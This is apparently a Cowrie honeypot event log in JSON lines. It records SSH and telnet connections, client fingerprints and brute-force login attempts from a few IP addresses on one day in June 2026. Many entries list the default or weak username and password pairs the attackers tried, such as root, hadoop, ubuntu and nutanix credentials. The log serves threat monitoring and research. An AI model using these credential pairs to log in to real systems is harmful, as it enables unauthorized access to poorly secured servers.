{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:35.195687Z","src_ip":"91.92.42.133","session":"53943a691851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:36.286507Z","src_ip":"91.92.42.133","session":"53943a691851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35932,"dst_ip":"159.203.135.109","dst_port":22,"session":"239b8cbaa8f1","protocol":"ssh","message":"New connection: 91.92.40.171:35932 (159.203.135.109:22) [session: 239b8cbaa8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:37.577045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:37.581545Z","src_ip":"91.92.40.171","session":"239b8cbaa8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38302946090698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:38.263922Z","src_ip":"172.81.62.90","session":"b798bc07539e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:38.282834Z","src_ip":"91.92.40.171","session":"239b8cbaa8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.800808906555176,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:39.595368Z","src_ip":"172.81.62.90","session":"81bec2e5aceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"51d74cde649c","protocol":"ssh","message":"New connection: 91.92.42.133:46938 (159.203.135.109:22) [session: 51d74cde649c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:40.554460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:40.573779Z","src_ip":"91.92.42.133","session":"51d74cde649c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:40.667224Z","src_ip":"91.92.42.133","session":"51d74cde649c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"qwerty","message":"login attempt [newuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:41.112413Z","src_ip":"91.92.42.133","session":"51d74cde649c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35990,"dst_ip":"159.203.135.109","dst_port":22,"session":"11d084dde293","protocol":"ssh","message":"New connection: 91.92.40.171:35990 (159.203.135.109:22) [session: 11d084dde293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:41.598700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:41.641077Z","src_ip":"91.92.40.171","session":"11d084dde293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:41.720943Z","src_ip":"91.92.40.171","session":"11d084dde293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:41.831891Z","src_ip":"91.92.40.171","session":"239b8cbaa8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:42.052210Z","src_ip":"91.92.40.171","session":"11d084dde293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:42.212990Z","src_ip":"91.92.42.133","session":"51d74cde649c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:43.150982Z","src_ip":"91.92.40.171","session":"11d084dde293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:43.595319Z","src_ip":"91.92.40.171","session":"239b8cbaa8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41800,"dst_ip":"159.203.135.109","dst_port":23,"session":"0da632c87a61","protocol":"telnet","message":"New connection: 172.81.62.90:41800 (159.203.135.109:23) [session: 0da632c87a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:44.765652Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53854,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e16115e2fe4","protocol":"ssh","message":"New connection: 91.92.42.133:53854 (159.203.135.109:22) [session: 7e16115e2fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:45.947984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:46.073988Z","src_ip":"91.92.42.133","session":"7e16115e2fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:46.095665Z","src_ip":"91.92.42.133","session":"7e16115e2fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:46.617790Z","src_ip":"91.92.42.133","session":"7e16115e2fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47834,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4d8873575c","protocol":"ssh","message":"New connection: 91.92.40.171:47834 (159.203.135.109:22) [session: fd4d8873575c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:47.020889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:47.102144Z","src_ip":"91.92.40.171","session":"fd4d8873575c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:47.194791Z","src_ip":"91.92.40.171","session":"fd4d8873575c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:47.616926Z","src_ip":"91.92.40.171","session":"fd4d8873575c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:47.700756Z","src_ip":"91.92.42.133","session":"7e16115e2fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:48.745188Z","src_ip":"91.92.40.171","session":"fd4d8873575c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53872,"dst_ip":"159.203.135.109","dst_port":22,"session":"b62a375d579d","protocol":"ssh","message":"New connection: 91.92.42.133:53872 (159.203.135.109:22) [session: b62a375d579d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:51.894014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:51.937730Z","src_ip":"91.92.42.133","session":"b62a375d579d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:51.980473Z","src_ip":"91.92.42.133","session":"b62a375d579d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1234","message":"login attempt [cloud/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:52.392816Z","src_ip":"91.92.42.133","session":"b62a375d579d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:53.475314Z","src_ip":"91.92.42.133","session":"b62a375d579d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47870,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef259b20cd8","protocol":"ssh","message":"New connection: 91.92.40.171:47870 (159.203.135.109:22) [session: bef259b20cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:53.767156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:53.958235Z","src_ip":"91.92.40.171","session":"bef259b20cd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:54.574785Z","src_ip":"91.92.40.171","session":"bef259b20cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123456","message":"login attempt [ubuntu/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:57.665097Z","src_ip":"91.92.40.171","session":"bef259b20cd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58334,"dst_ip":"159.203.135.109","dst_port":22,"session":"798498dfb7f9","protocol":"ssh","message":"New connection: 91.92.42.133:58334 (159.203.135.109:22) [session: 798498dfb7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:58.164458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:58.354448Z","src_ip":"91.92.42.133","session":"798498dfb7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:58.357677Z","src_ip":"91.92.42.133","session":"798498dfb7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:58.810626Z","src_ip":"91.92.42.133","session":"798498dfb7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56026,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d5ba5127da","protocol":"ssh","message":"New connection: 91.92.40.171:56026 (159.203.135.109:22) [session: 19d5ba5127da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:59.210824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:30:59.239823Z","src_ip":"91.92.40.171","session":"19d5ba5127da","protocol":"ssh"}
